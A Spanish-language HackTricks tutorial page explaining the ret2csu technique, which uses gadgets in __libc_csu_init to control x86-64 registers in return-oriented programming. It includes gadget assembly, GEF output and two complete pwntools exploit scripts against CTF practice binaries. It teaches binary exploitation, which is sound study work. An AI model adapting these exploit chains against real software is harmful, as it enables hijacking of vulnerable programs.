Ret2csu

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

ret2csu es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los gadgets que sueles usar para manipular el comportamiento del programa.

Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo se comunican entre sí diferentes partes del programa. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada __libc_csu_init.

Los Gadgets Mágicos en __libc_csu_init

En __libc_csu_init, hay dos secuencias de instrucciones (gadgets) para destacar:

  1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Este gadget nos permite controlar estos registros sacando valores de la pila y colocándolos en ellos.

  1. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:

  • Mover valores específicos a otros registros, preparándolos para que los utilicemos como parámetros en funciones.

  • Realizar una llamada a una ubicación determinada sumando los valores en r15 y rbx, luego multiplicando rbx por 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Tal vez no conozcas ninguna dirección para escribir allí y necesites una instrucción ret. Ten en cuenta que el segundo gadget también terminará en un ret, pero deberás cumplir con algunas condiciones para poder alcanzarlo:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Las condiciones serán:

  • [r12 + rbx*8] debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, simplemente puedes usar la función _init):

  • Si _init está en 0x400560, usa GEF para buscar un puntero en la memoria hacia él y haz que [r12 + rbx*8] sea la dirección con el puntero a _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp y rbx deben tener el mismo valor para evitar el salto

  • Hay algunas instrucciones pop omitidas que debes tener en cuenta

RDI y RSI

Otra forma de controlar rdi y rsi desde el gadget ret2csu es accediendo a desplazamientos específicos:

Consulta esta página para más información:

Ejemplo

Utilizando la llamada

Imagina que deseas hacer una llamada al sistema o llamar a una función como write() pero necesitas valores específicos en los registros rdx y rsi como parámetros. Normalmente, buscarías gadgets que establezcan directamente estos registros, pero no puedes encontrar ninguno.

Aquí es donde entra en juego ret2csu:

  1. Configurar los Registros: Utiliza el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.

  2. Utilizar el Segundo Gadget: Con esos registros configurados, utilizas el segundo gadget. Esto te permite mover los valores elegidos a rdx y rsi (desde r14 y r13, respectivamente), preparando los parámetros para una llamada de función. Además, controlando r15 y rbx, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en [r15 + rbx*8].

Tienes un ejemplo utilizando esta técnica y explicándola aquí, y este es el exploit final que se utilizó:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Ten en cuenta que el exploit anterior no está destinado a realizar un RCE, sino que simplemente llama a una función llamada win (tomando la dirección de win desde stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor 0xdeadbeefcafed00d.

Saltando la llamada y alcanzando ret

El siguiente exploit fue extraído de esta página donde se utiliza ret2csu pero en lugar de usar la llamada, se está saltando las comparaciones y alcanzando el ret después de la llamada:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

¿Por qué no usar directamente libc?

Normalmente estos casos también son vulnerables a ret2plt + ret2lib, pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función write() requiere tres parámetros, y puede que no sea posible encontrar gadgets para establecer todos estos directamente.

Última actualización